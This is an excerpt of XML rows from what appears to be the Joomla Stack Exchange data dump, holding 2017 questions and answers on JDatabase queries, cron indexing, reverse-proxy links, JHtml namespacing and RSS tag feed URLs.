  <row Id="22095" PostTypeId="2" ParentId="21978" CreationDate="2017-12-14T19:09:27.843" Score="0" Body="&lt;p&gt;Did you try the &quot;Preview&quot; option in the &quot;View&quot; menu?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sr5Gc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sr5Gc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T19:09:27.843" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22096" PostTypeId="2" ParentId="16782" CreationDate="2017-12-14T19:14:16.853" Score="1" Body="&lt;p&gt;You should be executing that based on the file path, not a URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say the file is located in /var/www/html/cli/finder_indexer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your cron job should execute: php /var/www/html/cli/finder_indexer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running it manually, you should see output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Smart Search INDEXER&#xA;============================&#xA;Starting Indexer&#xA;Setting up Smart Search plugins&#xA;Setup 5 items in 0.068 seconds.&#xA; * Processed batch 1 in 0.311 seconds.&#xA;Total Processing Time: 0.38 seconds.&#xA;Peak memory usage: 10,485,760 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T19:14:16.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22097" PostTypeId="2" ParentId="22027" CreationDate="2017-12-14T19:19:26.937" Score="2" Body="&lt;pre&gt;&lt;code&gt;$repeatable_fields_map = (array)$this-&amp;gt;params-&amp;gt;get('repeatable_fields_map');&#xA;foreach($repeatable_fields_map as $item) {&#xA;    $accreditationImage = $item-&amp;gt;accreditationImage;&#xA;    $accreditationText = $item-&amp;gt;accreditationText;&#xA;    $link = $item-&amp;gt;link;&#xA;    // do stuff with these variables&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T19:19:26.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22098" PostTypeId="2" ParentId="21722" CreationDate="2017-12-14T19:27:04.330" Score="1" Body="&lt;p&gt;As someone who administers mail servers - there are a couple of reasons this can happen.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;retry timing mismatch:  The recipient server implements greylisting - requiring that the sending server retry the message at a later time, or they're just super busy and reject the message with a temporary error.  Legitimate servers will do this, while spammers will just give up.  The problem is the lack of standard retry time.  My servers are configured to retry after 10 minutes, but I've seen some that don't retry for hours.  I saw one configured for a 12 hour retry.....  That's insane!&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Busy server - message is waiting in queue.  If you're on a very busy mail server, your message might be accepted and queued for delivery.  Being queued on a very busy server can mean a message waits for hours.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I started running my own mail servers years ago to avoid issues like this.&lt;/p&gt;&#xA;" OwnerUserId="2066" LastActivityDate="2017-12-14T19:27:04.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22099" PostTypeId="1" CreationDate="2017-12-15T01:34:40.257" Score="1" ViewCount="59" Body="&lt;p&gt;In database it shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Table 1 data show discount_category_id as: 1 2 3&lt;br&gt;&#xA;-Table 2 data show category_id as: ,1, ,2, ,3,&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is &lt;strong&gt;anything wrong&lt;/strong&gt; or any &lt;strong&gt;syntax error&lt;/strong&gt; with my code because i tried print_r but no value.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__hikashop_discount', 'e'). ' ON (' . &#xA; $db-&amp;gt;quoteName('e.discount_category_id') . ' LIKE &quot;%' . $db-&#xA; &amp;gt;quoteName('d.category_id') . '%&quot;)') &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12013" LastActivityDate="2018-10-15T03:00:38.377" Title="Join two similar table SQL" Tags="|jdatabase|sql|" AnswerCount="1" CommentCount="3" ClosedDate="2018-10-22T15:17:51.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="22101" PostTypeId="1" AcceptedAnswerId="22105" CreationDate="2017-12-15T16:51:56.270" Score="2" ViewCount="276" Body="&lt;p&gt;So i am making a script which updates users position depending on what records exist in another table, I have the query working fine to calculate the user position and i am able to calculate and display for each user. However i am having trouble with the update query so i can write the $userposition to the database. I currently have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if ($countofone &amp;gt;= '1'){&#xA;  $userposition= '1'; }&#xA;elseif ($countoftwo &amp;gt;= '6'){&#xA;   $userposition='2'; }&#xA;elseif ($countofthree &amp;gt;= '1'){&#xA;    $userposition='3';}&#xA;elseif ($countoffour &amp;gt;= '1'){&#xA;    $userposition='4';}&#xA;elseif ($countoffive &amp;gt;= '1'){&#xA;    $userposition='5';}&#xA; elseif ($countofsix &amp;gt;= '1'){&#xA;    $userposition='6';}&#xA;  elseif ($countofseven &amp;gt;= '1'){&#xA;    $userposition='7';}&#xA;&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;// Fields to update.&#xA;$fields = array(&#xA;    $db-&amp;gt;quoteName('a.userposition') . ' = ' . $userposition&#xA;);&#xA;&#xA;// Conditions for which records should be updated.&#xA;$conditions = array(&#xA;    $db-&amp;gt;quoteName('a.id') . ' = ' . $db-&amp;gt;quoteName('b.user') &#xA;);&#xA;&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('zw9ki_users'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;&#xA;&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I need the join to exist between the tables, a=users and b=usersrecords. The column b.user relates to the a.id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone help me with this please? I just need the join added to the  query please! Any help much appreciated! &amp;lt;3&amp;lt;3&amp;lt;3&lt;/p&gt;&#xA;" OwnerDisplayName="user9460" LastActivityDate="2017-12-16T12:07:44.387" Title="Help with update query!" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22103" PostTypeId="1" AcceptedAnswerId="22110" CreationDate="2017-12-15T19:30:29.493" Score="3" ViewCount="888" Body="&lt;p&gt;I have Joomla behind a reverse proxy. I want the Home menu item to point to &lt;code&gt;/&lt;/code&gt;, not the fully qualified domain name that it is running on. How do I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried changing the Home &quot;Menu Item Type&quot; to System Links &gt; URL, and setting the URL to &lt;code&gt;/&lt;/code&gt;, but when I saved, it gave an error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ge153.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ge153.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Error&lt;/strong&gt;&lt;br&gt;&#xA;  Save failed with the following error: The home menu item must be a component.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It is generating HTML like the following, with the FQDN, not a relative URL.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;https://cms.domain.net&quot; class=&quot;uk-navbar-item uk-logo&quot;&amp;gt;&#xA;    &amp;lt;img src=&quot;https://cms.domain.net/images/Logo-Web-120.gif&quot; class=&quot;uk-responsive-height&quot; alt=&quot;&quot; uk-gif=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If a user clicks on a link like this, they are sent to another domain behind the reverse-proxy. Then none of the other links work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla! 3.8.2 Stable&lt;/p&gt;&#xA;" OwnerUserId="11822" LastEditorUserId="11822" LastEditDate="2017-12-17T18:36:29.090" LastActivityDate="2018-08-15T00:01:53.763" Title="How do I set the Home menu item to a URL like /?" Tags="|menu-item|menu|url|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22104" PostTypeId="1" AcceptedAnswerId="22107" CreationDate="2017-12-16T01:18:25.237" Score="1" ViewCount="57" Body="&lt;p&gt;Is there a way to either move the Joomla! module layout override option which is usually found in advanced?  If not, is there a way to ensure that it is the same as one that I put in my regular window?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems an odd workflow to choose the layout there for some modules but I'd also like to take action depending on which module is chosen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I still want to use /tmpl so I prefer to use the standard Joomla! way of doing things although I am aware I can just create a new XML field and use the tmpl file by calling with PHP.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2017-12-17T11:58:18.303" Title="Move the Joomla! module layout override to a different tab" Tags="|module-display|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22105" PostTypeId="2" ParentId="22101" CreationDate="2017-12-16T12:07:44.387" Score="0" Body="&lt;p&gt;I've made some updates to your database query, defining the table name correctly (using the prefix &lt;code&gt;#__&lt;/code&gt;) and also defined the column names correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Define a default&#xA;$userposition = 1;&#xA;&#xA;if ($countofone &amp;gt;= 1)&#xA;{&#xA;    $userposition = 1;&#xA;}&#xA;elseif ($countoftwo &amp;gt;= 6)&#xA;{&#xA;    $userposition = 2;&#xA;}&#xA;elseif ($countofthree &amp;gt;= 1)&#xA;{&#xA;    $userposition = 3;&#xA;}&#xA;elseif ($countoffour &amp;gt;= 1)&#xA;{&#xA;    $userposition = 4;&#xA;}&#xA;elseif ($countoffive &amp;gt;= 1)&#xA;{&#xA;    $userposition = 5;&#xA;}&#xA;elseif ($countofsix &amp;gt;= 1)&#xA;{&#xA;    $userposition = 6;&#xA;}&#xA;elseif ($countofseven &amp;gt;= 1)&#xA;{&#xA;    $userposition = 7;&#xA;}&#xA;&#xA;$db         = JFactory::getDbo();&#xA;$fields     = array($db-&amp;gt;qn('userposition') . ' = ' . (int)$userposition);&#xA;$conditions = array($db-&amp;gt;qn('id') . ' = ' . $db-&amp;gt;q('user'));&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;update($db-&amp;gt;qn('#__users'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-12-16T12:07:44.387" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22107" PostTypeId="2" ParentId="22104" CreationDate="2017-12-17T11:58:18.303" Score="2" Body="&lt;p&gt;I am losing you a little bit in your question. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Saying move the Joomla module layout override option, do you mean to display that field within another tab?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, what's the problem you are facing in placing it inside you other tab? Assuming we are talking about a custom module you developed, then simply, place the field's xml declaration in your other fieldset.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I am also losing you on your other question:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If not, is there a way to ensure that it is the same as one that I put&#xA;  in my regular window?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What is &quot;the same&quot; as &quot;which one&quot; you put in which &quot;your regular window&quot;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as, well let me frankly admit that the remaining part of your question doesn't make much sense to me either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if all your question is, is how to display the module's layout field in another tab, then the answer is given above, otherwise please clarify.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2017-12-17T11:58:18.303" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22108" PostTypeId="2" ParentId="22103" CreationDate="2017-12-17T13:02:35.263" Score="0" Body="&lt;p&gt;Assuming I understood your question correctly, the best way to address this solution, it to make the homepage point to the &quot;Featured Articles&quot; menu item, and then override the menu template to have a different URL for the homepage menu item.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastActivityDate="2017-12-17T13:02:35.263" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22110" PostTypeId="2" ParentId="22103" CreationDate="2017-12-17T18:39:41.520" Score="0" Body="&lt;p&gt;I've temporarily worked around the problem by using an &lt;code&gt;.htaccess&lt;/code&gt; redirect so that if anyone visits the home page and they are not the reverse-proxy, then they will be redirected to the www site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{HTTP:MySecret} !^xxxxxx999999$&#xA;RewriteRule ^$ https://www.example.com/ [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I still think the link itself should be fixed. I should be able to have full control over that link, like I can in Wordpress. &lt;/p&gt;&#xA;" OwnerUserId="11822" LastActivityDate="2017-12-17T18:39:41.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22111" PostTypeId="1" CreationDate="2017-12-18T11:55:53.780" Score="0" ViewCount="112" Body="&lt;p&gt;i used joomla on &lt;a href=&quot;https://www.724press.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.724press.com&lt;/a&gt; and after one year i cant solve one important problem of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my website language is PERSIAN. its magazine website so, i need rss feed for many TAGS of Article. basic RSS url for Article Section is normal and work fine. but RSS Feed which joomla makes for Article TAGS have invalid URLS for content which reason of many 404 error in google webmaster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;for example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TAG:&lt;/strong&gt; Windows 10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL:&lt;/strong&gt; &lt;a href=&quot;https://www.724press.com/tag/windows-10&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.724press.com/tag/windows-10&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;URL of RSS Feed:&lt;/strong&gt; 724press.com/tag/windows-10?format=feed&amp;amp;type=rss&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you open feed you can see my problem. for example about this article:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;correct url of a sample article is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;724press.com/science/8597-%D8%AA%D8%BA%DB%8C%DB%8C%D8%B1-layout-%D8%B5%D9%81%D8%AD%D9%87-%DA%A9%D9%84%DB%8C%D8%AF-%D9%88%DB%8C%D9%86%D8%AF%D9%88%D8%B2-10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and invalid url of that article in rss feed is :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;724press.com/%3Fid%3D8591%3A%D8%A7%D8%B6%D8%A7%D9%81%D9%87-%DA%A9%D8%B1%D8%AF%D9%86-%D8%AC%DB%8C%D9%85%DB%8C%D9%84-%DA%A9%D9%88%D8%B1%D8%AA%D8%A7%D9%86%D8%A7-%D9%88%DB%8C%D9%86%D8%AF%D9%88%D8%B2-%DB%B1%DB%B0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;appearance of both link has been broken by Persian characters in Alias, so for better understanding of the difference between the two links, I removed Alias Charechters from both links:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Correct:&lt;/strong&gt; 724press.com/science/8597-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;inCorrect:&lt;/strong&gt; 724press.com/%3Fid%3D8591%3A&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see SECTION in first url, but in second url you cant see it. it seem joomla cant use SEF URL for article url in TAG feed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use this site for decode charechters of second (invalid) url:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;url-encode-decode.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%3Fid%3D &lt;strong&gt;=&lt;/strong&gt; ?id=&lt;/p&gt;&#xA;&#xA;&lt;p&gt;%3A &lt;strong&gt;=&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and it want show url with this Structure: &lt;em&gt;724press.com/?id=8591:ALIAS&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it seem it cant decode few string of url even for non-SEF URL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This issue is not for current release of joomla and we have it from earlier version and on many sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone have a solution for it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="12025" LastEditorUserId="12025" LastEditDate="2017-12-18T18:58:30.887" LastActivityDate="2023-12-10T22:03:45.427" Title="RSS Feed for TAGS with invalid content URLS" Tags="|sef|tags|rss|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22113" PostTypeId="2" ParentId="22099" CreationDate="2017-12-18T21:18:55.733" Score="0" Body="&lt;p&gt;You’re quoting your like string with “ and then quoting the int column inside with quoteName. I’m not sure it’d work even after you fix that because int columns don’t act like strings that you just concat with %. There’s a nice discussion about using int column likes here that should help.&#xA;&lt;a href=&quot;https://stackoverflow.com/questions/8422455/performing-a-like-comparison-on-an-int-field&quot;&gt;https://stackoverflow.com/questions/8422455/performing-a-like-comparison-on-an-int-field&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-18T21:18:55.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22114" PostTypeId="1" AcceptedAnswerId="22127" CreationDate="2017-12-19T01:08:26.303" Score="2" ViewCount="222" Body="&lt;p&gt;Can one instantiate a jdatabase object without the Joomla application? The obvious use case is when you want to open a direct endpoint into some standalone code in your site for an api or cron etc. and wish to avoid a) the performance hit of bootstrapping the whole Joomla application when you only need 1 class, and b) rewriting the queries that your Joomla application and api endpoint share.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see there is this approach of just extracting and jiggling the code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solutionsamir.com/20110720155/Programming/PHP/Stand-Alone-Joomla-Database-Abstraction-Class.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.solutionsamir.com/20110720155/Programming/PHP/Stand-Alone-Joomla-Database-Abstraction-Class.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but I'm hoping that someone has attempted what I'm attempting before I start digging into the library.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2017-12-19T01:17:14.330" LastActivityDate="2017-12-20T03:39:57.527" Title="Using JDatabase standalone, ie. without Joomla application bootstrapping" Tags="|jdatabase|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22115" PostTypeId="1" AcceptedAnswerId="22118" CreationDate="2017-12-19T01:16:57.390" Score="5" ViewCount="2259" Body="&lt;p&gt;I'm trying to get started with Joomla extension development, and am having trouble following along with simple examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where is the &lt;code&gt;Jhtml&lt;/code&gt; class defined and/or documented? I see it being used in examples and extensions that come with Joomla, but I can't find any current documentation on it. Existing links into &lt;a href=&quot;https://api.joomla.org/cms-3/&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/&lt;/a&gt; all appear to be broken, and my attempts to grep the Joomla source have not turned up anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me whether I understand this correctly. It looks like &lt;code&gt;libraries/classmap.php&lt;/code&gt; calls &lt;code&gt;JLoader::registerAlias&lt;/code&gt; to dynamically alias the name &lt;code&gt;JHtml&lt;/code&gt; to &lt;code&gt;HTMLHelper&lt;/code&gt;. I'm unable to find documentation on &lt;code&gt;JHtml&lt;/code&gt; because there is no such class.&lt;/p&gt;&#xA;" OwnerUserId="9910" LastEditorUserId="9910" LastEditDate="2017-12-19T01:30:04.440" LastActivityDate="2017-12-19T12:27:14.393" Title="Where or how is the Jhtml class defined?" Tags="|joomla-3.x|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22116" PostTypeId="2" ParentId="22115" CreationDate="2017-12-19T02:14:42.053" Score="5" Body="&lt;p&gt;Yeah the google links are messed up because of the namespacing and shifting changes.  Most of the Joomla core classes are all now in libraries/src here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/tree/staging/libraries/src&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/tree/staging/libraries/src&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JHtml is in the HTML folder. The api listing is here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.HTML.HTMLHelper.html&quot; rel=&quot;noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/Joomla.CMS.HTML.HTMLHelper.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for &quot;Documentation&quot;... lol.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastActivityDate="2017-12-19T02:14:42.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22117" PostTypeId="1" AcceptedAnswerId="22121" CreationDate="2017-12-19T07:32:08.927" Score="0" ViewCount="1188" Body="&lt;p&gt;I want to show the latest blog article on my home page, and I want to show both the intro text (the part before &quot;read more&quot;) and the main text (the part after &quot;read more&quot;). I can do this with a menu item of type &quot;Single Article&quot;. But I'd prefer to use a menu item that will automatically select the latest blog article, so I don't have to remember to manually change the article selection every time I write a new blog article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? It seems that menu items of types &quot;Category Blog&quot; and &quot;Featured Article&quot; will only show the intro text. Or am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="10944" LastActivityDate="2017-12-20T16:33:57.520" Title="Showing both intro text and main article text" Tags="|category-blog|featured-articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22118" PostTypeId="2" ParentId="22115" CreationDate="2017-12-19T08:07:38.257" Score="7" Body="&lt;p&gt;The &lt;code&gt;JHtml&lt;/code&gt; class was changed to &lt;code&gt;\Joomla\CMS\HTML\HTMLHelper&lt;/code&gt; (&lt;code&gt;/libraries/src/HTML/HTMLHelper.php&lt;/code&gt;) since 3.8 as a part of namespacing the core. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you can still use &lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;noreferrer&quot;&gt;documentation&lt;/a&gt; (and &lt;a href=&quot;https://api.joomla.org/cms-3/classes/Joomla.CMS.HTML.HTMLHelper.html&quot; rel=&quot;noreferrer&quot;&gt;API ref&lt;/a&gt;) of the old &lt;code&gt;JHTML&lt;/code&gt; class.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to learn everything about it - use IDE like PHPStorm for example, and you'll get a lot of useful hints, not to mention class propositions based on partial name typed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what you may put a file like this one: &lt;a href=&quot;https://gist.github.com/alex7r/3a996693f13cb8290cd66a28ab6976a7&quot; rel=&quot;noreferrer&quot; title=&quot;_ide_helper.php&quot;&gt;_ide_helper.php&lt;/a&gt;&#xA;in the root of your project to make your transition from &amp;lt;3.8 smoother with IDE.&lt;/p&gt;&#xA;" OwnerUserId="8261" LastEditorUserId="8261" LastEditDate="2017-12-19T12:27:14.393" LastActivityDate="2017-12-19T12:27:14.393" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22119" PostTypeId="2" ParentId="22040" CreationDate="2017-12-19T09:08:33.040" Score="1" Body="&lt;p&gt;Header tags were removed from article titles displayed by the articles category module back in 2013, &lt;a href=&quot;https://github.com/joomla/joomla-cms/commit/63864385a62042a6211cf59e0d15bbe3c7d10b3e&quot; rel=&quot;nofollow noreferrer&quot;&gt;by me&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Previously, the article titles had header tags, and the option of which header tag to use, now they do not. This would explain why they no longer appear in bold.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As well as improved semantics, this change also brought the way this module displays entry titles into line with mod_articles_mostread and mod_articles_latest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the titles to display in a heavier weight then just set that in your site css by targeting the &lt;code&gt;.mod-articles-category-title&lt;/code&gt; and &lt;code&gt;.mod-articles-category-group&lt;/code&gt; classes, e.g.:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.mod-articles-category-title,&#xA;.mod-articles-category-group {&#xA;  font-weight: 700;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastEditorUserId="296" LastEditDate="2018-01-15T09:19:52.323" LastActivityDate="2018-01-15T09:19:52.323" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22120" PostTypeId="2" ParentId="22115" CreationDate="2017-12-19T10:21:17.840" Score="6" Body="&lt;p&gt;As of Joomla 3.8, the majority of classes have been namespaced but with a fallback for when migrating to J4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can still use &lt;code&gt;JHtml::XXX&lt;/code&gt;, but the new approach is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;HTMLHelper::_('script', 'path/to/file.js');&#xA;HTMLHelper::_('stylesheet', 'path/to/file.css');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can find the source code for the &lt;code&gt;HTMLHelper&lt;/code&gt; class here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/HTML/HTMLHelper.php&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/src/HTML/HTMLHelper.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is still the same as it was before, so you can continue reading through the current Joomla documentation for &lt;code&gt;JHtml&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Javascript_Frameworks&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Javascript_Frameworks&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;noreferrer&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2017-12-19T10:21:17.840" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22121" PostTypeId="2" ParentId="22117" CreationDate="2017-12-19T12:41:33.487" Score="1" Body="&lt;p&gt;I don't think there is an out-of-the-box solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are comfortable doing overrides, and a small bit of coding, then I'd use the Latest Article module, and add &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;introtext; ?&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;?php echo $item-&amp;gt;fulltext; ?&amp;gt;&lt;/code&gt; where you want the text to appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If not, there do seem a few third party extensions available that do what you want, eg &lt;a href=&quot;https://extensions.joomla.org/extension/recent-article/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/recent-article/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Always use third party extensions with caution, though, as the code quality can vary massively, and they are a common entrance point for hackers.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-12-19T12:41:33.487" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
